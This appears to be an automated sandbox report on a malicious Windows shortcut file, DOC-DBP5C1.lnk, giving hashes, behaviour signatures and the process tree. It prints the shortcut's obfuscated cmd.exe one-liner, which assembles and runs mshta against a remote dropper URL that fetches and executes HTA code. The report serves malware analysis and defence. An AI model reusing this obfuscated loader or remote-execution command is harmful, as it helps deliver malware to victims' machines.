Analysis
- max time kernel
58s - max time network
54s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
22/08/2026, 07:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DBP5C1.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-DBP5C1.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-DBP5C1.lnk
- Size 2KB
- Sample260822-jctalsee56
- SHA256 152145397e2953ca694a3a1a9b4525f700d4518e1e7b794fc744b66ce1a4e041
- MD5 d4181e153db39a8e6a0c8ff20407542b
- SHA1 c90fd693a4c13a38d5d58495462359f570ec9591
- SHA512 dbfba81ed311bfd058ba1002850f60ec1b858237a81fae4499c6386f9c1c1f17a212b0c8af9b6d9840a9c704f779013968bbf0e05e6d1852b6ef69e75ff801e2
- TLSH T10A4157802BED54A4F3BB9E72EDBE6711887B7A612D20C59D0850C10C1822B41ED77B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2592 cmd.exe 4744 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2592 wrote to memory of 4744 2592 cmd.exe 85 PID 4744 wrote to memory of 3784 4744 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DBP5C1.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set veIY=logrquvmiuxmvflog&set AtHe=lk9msd5&&set qYHjL=9ohtk&&set VTcT=ar8aax&set xgVbD=winyckqmbcacmmshwin&set QMtD=datmanneqvshtdat&set Ah=netyensequbnet&set bKSrF=dbgtelfurashdbg&set HWTe=slst5&&set kf=2artr5&set YqQR=winznworgahgqewin&set RW=oldlsmtfdcuxxytmfkbzctthhold&set UcJli=tmpvuwbgkotmp&set VSkB=tmpqjsaqxetkiohkdvirctmp&&set dqjes=https://@k@-@do@cu@[email protected]@at/h/estag@io@1.@php?r=3@F1@477@F1@5398D1&&start /b !AtHe:~3,2!!qYHjL:~2,2!!VTcT:~3,1! !dqjes:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:3784
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